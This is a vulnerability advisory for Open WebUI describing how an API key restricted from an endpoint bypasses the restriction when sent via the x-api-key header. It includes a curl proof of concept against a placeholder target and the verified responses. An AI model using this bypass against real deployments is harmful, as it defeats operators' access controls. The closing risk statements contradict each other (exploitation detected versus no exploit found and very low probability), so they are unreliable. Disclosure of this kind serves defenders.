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PYSEC-2026-3543
No affected components available
Summary
Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.
Details
Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.
This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.
PoC
Verified against Open WebUI v0.8.11.
Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"
# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
-H "Authorization: Bearer $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'
# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
-H "x-api-key: $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
Verified output:
# Authorization header:
{"detail":"API key not allowed to access this endpoint."}
# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}
The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).
Impact
Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:
- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
- Keys restricted from admin endpoints may access admin functionality
- The operator's intended access control is silently ineffective
- API credit spend cannot be controlled through endpoint restrictions
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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